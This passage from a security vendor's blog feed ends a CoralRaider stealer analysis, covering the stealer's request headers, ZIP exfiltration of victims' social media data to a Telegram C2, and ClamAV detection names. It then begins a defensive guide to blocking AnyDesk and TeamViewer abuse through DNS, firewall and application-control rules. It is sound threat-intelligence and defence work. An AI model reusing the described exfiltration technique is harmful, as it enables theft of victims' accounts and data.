padding-inline-start: 48px;"><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">content-type: application/json</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua: &quot;Google Chrome&quot;;v=&quot;113&quot;, &quot;Chromium&quot;;v=&quot;113&quot;, &quot;Not-A.Brand&quot;;v=&quot;24&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-arch: &quot;x86&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-bitness: &quot;64&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-full-version: &quot;113.0.5672.127&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-full-version-list: &quot;Google Chrome&quot;;v=&quot;113.0.5672.127&quot;, &quot;Chromium&quot;;v=&quot;113.0.5672.127&quot;, &quot;Not-A.Brand&quot;;v=&quot;24.0.0.0&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-mobile: ?0</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-model: &quot;&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-platform: &quot;Windows&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-platform-version: &quot;10.0.0&quot;</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-ch-ua-wow64: ?0</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-fetch-dest: empty</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">sec-fetch-mode: same-origin</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">x-goog-authuser: 0</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">x-origin: https://www.youtube.com</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">x-youtube-bootstrap-logged-in: true</span></p></li><li dir="ltr" aria-level="1" style="list-style-type: disc; font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre;"><p dir="ltr" role="presentation" style="line-height: 1.2; margin-top: 0pt; margin-bottom: 0pt;"><span style="font-size: 11pt; font-family: Arial, sans-serif; color: rgb(51, 51, 51); background-color: transparent; font-weight: 400; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-variant-alternates: normal; font-variant-numeric: normal; font-variant-east-asian: normal; font-variant-position: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">x-youtube-client-name: 1</span></p></li></ul></td></tr></tbody></table>
<!--kg-card-end: html-->
<p>Finally, the XClient stealer stores the victim&#x2019;s social media data, which is collected into a text file in the local user profile temporary folder and creates a ZIP archive. The ZIP files were exfiltrated to the Telegram C2 through the URL &#x201C;/sendDocument&#x201D;.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/a_FWwSLKyFGjviOnMl1PH49zu8R_B21miRVhRoblSjo7Lig1scAClCham1Oj1z4VT73Q5SfpAE2tEWuJ64rOT1ocRwanVLoc4RTpDdiu3CGwz3yX6gD376zvYMv2U0gMwdzHGFwOjf77_wtpn_CgUlQ" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1600" height="878"></figure><p>Talos&#x2019; research of this campaign focused on discovering and disclosing a new threat actor of Vietnamese origin and their payloads. Additional technical details of the attack chain components of this campaign can be found in the <a href="https://www-secrss-com.translate.goog/articles/63847?_x_tr_sl=auto&amp;_x_tr_tl=en&amp;_x_tr_hl=en&amp;_x_tr_pto=wapp"><u>report </u></a>published by the researchers at QiAnXin Threat Intelligence Center.&#xA0;</p><h1 id="coverage">Coverage</h1><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/3zx8uzWPaBJ3yBKVRLDInjpjmYh1tQ33twQpJdzZ_k5UcVbt3PEiolUL0Yv0f_byuFQOdDAyAaew6FwHOVXqccWtXR9idEZ-L-gyHz23IHC_x10oLOP79rG9lwhFMf3rSnCZi9a5mf2RTXe6LpSPNjg" class="kg-image" alt="CoralRaider targets victims&#x2019; data and social media accounts" loading="lazy" width="1600" height="323"></figure><p><a href="https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html"><u>Cisco Secure Endpoint</u></a> (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free <a href="https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium=web-referral?utm_source=cisco&amp;utm_campaign=amp-free-trial&amp;utm_term=pgm-talos-trial&amp;utm_content=amp-free-trial"><u>here.</u></a></p><p><a href="https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html"><u>Cisco Secure Web Appliance</u></a> web scanning prevents access to malicious websites and detects malware used in these attacks.</p><p><a href="https://www.cisco.com/c/en/us/products/security/email-security/index.html"><u>Cisco Secure Email</u></a> (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free <a href="https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium=web-referral&amp;utm_source=cisco&amp;utm_campaign=cmd-free-trial-request&amp;utm_term=pgm-talos-trial"><u>here</u></a>.</p><p><a href="https://www.cisco.com/c/en/us/products/security/firewalls/index.html"><u>Cisco Secure Firewall</u></a> (formerly Next-Generation Firewall and Firepower NGFW) appliances such as <a href="https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html"><u>Threat Defense Virtual</u></a>, <a href="https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html"><u>Adaptive Security Appliance</u></a> and <a href="https://meraki.cisco.com/products/appliances"><u>Meraki MX</u></a> can detect malicious activity associated with this threat.</p><p><a href="https://www.cisco.com/c/en/us/products/security/threat-grid/index.html"><u>Cisco Secure Malware Analytics</u></a> (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.</p><p><a href="https://umbrella.cisco.com/"><u>Umbrella</u></a>, Cisco&apos;s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella <a href="https://signup.umbrella.com/?utm_medium=web-referral?utm_source=cisco&amp;utm_campaign=umbrella-free-trial&amp;utm_term=pgm-talos-trial&amp;utm_content=automated-free-trial"><u>here</u></a>.</p><p><a href="https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html"><u>Cisco Secure Web Appliance</u></a> (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.</p><p>Additional protections with context to your specific environment and threat data are available from the <a href="https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html"><u>Firewall Management Center</u></a>.</p><p><a href="https://signup.duo.com/?utm_source=talos&amp;utm_medium=referral&amp;utm_campaign=duo-free-trial"><u>Cisco Duo</u></a> provides multi-factor authentication for users to ensure only those authorized are accessing your network.</p><p>Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on <a href="https://www.snort.org/products"><u>Snort.org</u></a>. Snort SID for this threat is 63192.</p><p>ClamAV detections are also available for this threat:</p><p>Lnk.Downloader.CoralRaider-10024620-0</p><p>Html.Downloader.CoralRaider-10025101-0</p><p>Win.Trojan.RotBot-10024631-0</p><p>Win.Infostealer.XClient-10025106-2</p><h1 id="indicators-of-compromise">Indicators of Compromise</h1><p>Indicators of Compromise associated with this threat can be found <a href="https://github.com/Cisco-Talos/IOCs/tree/main/2024/04/"><u>here</u></a>. </p>]]></content:encoded></item><item><title><![CDATA[Adversaries are leveraging remote access tools now more than ever — here’s how to stop them]]></title><description><![CDATA[While there are many legitimate uses for this software, adversaries are also finding ways to use them for command and control in their campaigns.]]></description><link>https://blog.talosintelligence.com/adversaries-are-leveraging-remote-access-tools/</link><guid isPermaLink="false">65f99f8c405eeb000194738c</guid><category><![CDATA[On The Radar]]></category><dc:creator><![CDATA[Nate Pors]]></dc:creator><pubDate>Tue, 02 Apr 2024 12:00:56 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/Talos_on_the_radar-3.jpg" medium="image"/><content:encoded><![CDATA[<ul><li>Remote system management/desktop access tools such as AnyDesk and TeamViewer have grown in popularity since 2020. While there are many legitimate uses for this software, adversaries are also finding ways to use them for command and control in their campaigns.</li><li>There is no easy way to effectively block all unauthorized remote management tools, but security can be greatly improved through a combination of policy and technical controls.</li><li>Early warning alerts can be configured to alert defenders to remote management software activity that may have circumvented the technical controls.</li></ul><h2 id="the-remote-managementaccess-software-problem">The remote management/access software problem</h2><img src="https://blog.talosintelligence.com/content/images/2024/03/Talos_on_the_radar-3.jpg" alt="Adversaries are leveraging remote access tools now more than ever &#x2014; here&#x2019;s how to stop them"><p>Since 2020, the use of remote system management/access tools such as AnyDesk and TeamViewer has exploded in popularity due to forced work-from-home during the COVID-19 pandemic.</p><p>Whether used by an IT help desk technician to fix a user&#x2019;s remote system or by co-workers for collaboration, these tools play an essential role in most corporations&#x2019; digital functions. However, this convenience comes at a cost. These tools introduce the ability for an adversary to potentially take full remote control of a system, are easy to download and install, and can be very difficult to detect since they are considered legitimate software.&#xA0;</p><p>Further complicating the task of recognizing the malicious use of these tools, many organizations struggle to combat &#x201C;shadow IT&#x201D; in which individual users or overly proactive IT personnel might install unauthorized remote management tools to accomplish a benign goal.</p><p>Cisco Talos Incident Response (Talos IR) is seeing adversaries capitalize on this opportunity in the wild. We recently noted in our Quarterly Trends report for the <a href="https://blog.talosintelligence.com/talos-ir-trends-q3-2023/">third quarter of 2023</a>, &#x201C;AnyDesk was observed in&#xA0;all&#xA0;ransomware and pre-ransomware engagements [. . .], underscoring its role in ransomware affiliates&apos; attack chains.&#x201D;</p><p>While AnyDesk is a legitimate application, it highlights the tremendous value that can be gained through a security program that intentionally focuses on preventing unauthorized use of these tools. Talos is referencing AnyDesk for the purposes of this blog post, but any remote management tool is at risk of these exploits. There are several policy changes, technical countermeasures and security alerts that admins and defenders can use to ensure that AnyDesk, and similar pieces of software, are only used for legitimate purposes when deployed.</p><h2 id="policy-change-suggestion-pick-one-approved-remote-management-tool">Policy change suggestion: Pick one approved remote management tool</h2><p>Adopting one, or at most two, approved remote management solutions will allow the organization to thoroughly test and deploy in the most secure possible configuration.</p><p>If possible, integration with other organizational technology such as Active Directory or multi-factor authentication (MFA) will provide additional layers of protection and verification. Tying the approved remote management solutions into these already structured security solutions can make it easier to build &#x201C;early warning&#x201D; detections and alerts around unauthorized connectivity and use.</p><p>Once a solution is approved and championed for the organization, other remote management/access tools should be explicitly banned by policy. Ideally, this should be accompanied by a software inventory audit and published guidance on approved/non-approved software for the organization. Training and consistent enforcement of this policy will help reduce the &#x201C;shadow IT&#x201D; noise in the environment and leave network defenders with more time to investigate true anomalies.</p><h2 id="technical-controls">Technical controls</h2><p>While very worthwhile, preventing unauthorized use of these tools is not simple. First, the scores of commercially available remote access tools make it difficult to address every option an adversary might use. Many of those tools are frequently updated, meaning that blocking the executables by their hash value is not as effective.&#xA0;</p><p>Adversaries also commonly rename the executables, meaning that filename blocks aren&#x2019;t going to be helpful, either.&#xA0;</p><p>Many popular solutions operate over common ports and protocols, such as ports 80 and 443, making them difficult to block at the firewall, and remote access tool creators often decline to publish their central server IP addresses due to frequently changing resolutions, which limits the effectiveness of static IP address blocks. A combination of approaches and techniques is necessary to limit the opportunity for an adversary to use remote access/management tools in any given environment.</p><h4 id="dns-security-controls">DNS security controls</h4><p>One of the most effective methods for detecting, and sometimes blocking, the activities of unauthorized remote management/access software, is by auditing and blocking DNS queries associated with these tools.</p><p>If your organization uses Cisco Umbrella for DNS security, it&#x2019;s fairly easy to review and block DNS queries related to unauthorized traffic.</p><p>To review what might already be on your network, log into the Umbrella console and view &#x201C;Reporting &gt; App Discovery &gt; Unreviewed Apps,&#x201D; filtered by the &#x201C;Collaboration&#x201D; and &#x201C;IT Services Management&#x201D; categories, this is an excellent starting point to identify unexpected remote access software.</p><p>Simply clicking &#x201C;Block this app&#x201D; gives the administrator the ability to block future DNS requests associated with any particular result. If you prefer to take an even more proactive approach, going to &#x201C;Policies &gt; Policy Components &gt; Application Settings&#x201D; allows you to search all applications currently categorized by Umbrella, whether they have been seen on your network or not, and block them by policy. Again, the &#x201C;Collaboration&#x201D; and &#x201C;IT Services Management&#x201D; categories should be the areas of focus for policy review.</p><p>As with all of these technical controls, there are a few limitations. The first major caveat is that this only works if the DNS queries are evaluated by your security stack. In the case of DNS traffic from a home user&#x2019;s system not traveling over the corporate network, the activity would be invisible. The second major caveat is that some remote management software has direct peer-to-peer capabilities, meaning the software might not send a DNS query to an easily identifiable domain when initiating a connection.&#xA0;</p><h4 id="firewall-controls">Firewall controls</h4><p>While less scalable and reliable, basic IP address blocking can be beneficial for preventing unauthorized remote software connections. Some vendors list static IP addresses for their central servers on their support sites that can be leveraged to control this access. However, many vendor IP addresses change periodically, making the task a bit challenging.</p><p>Another potentially fruitful approach to firewall traffic blocking is by port number. For example, <a href="https://community.teamviewer.com/English/kb/articles/4139-ports-used-by-teamviewer?utm_source=community-search&amp;utm_medium=organic-search&amp;utm_term=firewall+allow">TeamViewer</a> prefers to use port 5938, although it can fall back on the practically unblockable port 443. While blocking port 5938 would not stop the connection, a properly configured alert would provide defenders with an early warning that TeamViewer was trying to connect out.</p><p>Some firewalls also provide additional functionality around session content, similar to Umbrella&#x2019;s capabilities. Firewalls such as Cisco&#x2019;s Meraki provide an allow/block URL listing that can be configured to prevent connectivity to unapproved remote management software sites. Cisco Meraki can provide content filtering options that may be helpful in blocking remote management/access sites.</p><p>Administrators should consider that firewall controls to combat unauthorized remote software management connections can have unintended consequences and should be heavily tested and piloted prior to implementation.</p><p>Verify that IP addresses are dedicated to that application prior to blocking in order to avoid blocking Content Delivery Network (CDN) nodes or other cloud computing shared resources.&#xA0;</p><p>Finally, network segmentation or micro-segmentation can be useful in blocking unauthorized remote management software usage. For instance, categorizing and organizing server resources separate from workstation resources can allow for more tailored options around blocking all unnecessary traffic at the firewall, include that which may be associated with remote management tools. Some organizations already do this well by integrating with <a href="https://documentation.meraki.com/MX/Content_Filtering_and_Threat_Protection/Content_Filtering#Group_Policies">group policy configurations</a>.</p><h2 id="host-based-controls">Host-based controls</h2><h3 id="windows-defender-application-control-wdac-and-applocker">Windows Defender Application Control (WDAC) and AppLocker</h3><p>Of all the controls discussed in this post, WDAC and AppLocker are the only ones that can offer almost 100 percent protection against unauthorized remote management/access software execution.</p><p>In their most secure configuration, which allows only pre-approved software to run, users or adversaries can&apos;t run unexpected executables. However, this comes at a cost, as the approved software baseline maintenance level of effort can be high, and the user experience can be very limited if they are not allowed to install applications as needed.</p><p>WDAC and AppLocker offer considerable flexibility in their policies, so some organizations choose to only lock down their critical servers, such as domain controllers, which leaves user system policies more flexible. This approach has benefits far beyond simply blocking remote access/management software, as it will stop most malware from executing, as well.</p><p>Keep in mind that, while WDAC is currently more difficult to configure, it has more advanced capabilities and Microsoft is positioning it as the replacement for AppLocker. At the moment, AppLocker is receiving security updates, but no new feature updates.</p><h3 id="registry-filename-blocks">Registry filename blocks</h3><p>It is possible to block remote management/access software execution by filename via a registry &#x201C;DisallowRun&#x201D; key. However, Talos IR does not recommend this approach, except as a containment measure during incident response, since it is not scalable as a preventative measure and is trivially easy to bypass by renaming the executable or modifying the registry.&#xA0;</p><h3 id="edr-blocks">EDR blocks</h3><p>Almost every modern EDR can block file hashes, which gives defenders the capability to block the hashes associated with remote management/access software installers and/or installed executables. However, similarly to the filename GPO blocks, this is not scalable or reliable as a proactive measure, since every new version of every software distribution will have a new hash value. This measure should be restricted to containment during incident response only.&#xA0;</p><p>Some EDR solutions offer methods to block vulnerable or unauthorized software, albeit with significant caveats regarding the limitations of those capabilities. The authors of this article have not tested those capabilities but note them here for the sake of completeness.</p><h3 id="host-based-firewalls">Host-based firewalls</h3><p>The recommendations for host-based firewall rules are much the same as standalone firewalls, covered above. These can be useful where administrators expect users to roam outside of the boundary of the corporate network, such as home workers off the corporate VPN or using a split-tunnel VPN implementation.&#xA0;</p><p><strong>Administrator permission restriction</strong></p><p>Restricting administrator permissions so that most users cannot conduct administrator actions on their work computer, such as installing remote access/management software, can help limit an adversary&#x2019;s ability to install this software after the initial compromise.</p><p>Applying the principle of least privilege, which includes both locking down local administrator permissions and limiting the permissions of users&#x2019; domain accounts, is considered standard best practice.</p><h4 id="nac-controls">NAC controls</h4><p>While network access control (NAC) solutions do not directly block the use of remote management software, they can ensure that all other technical controls are working properly before admitting an endpoint to the network. If the device is a rogue system or lacks EDR, for example, NAC would prevent it from joining.</p><p>Another benefit offered by a NAC solution is software version enforcement through custom rules. In Cisco ISE, for example, there are <a 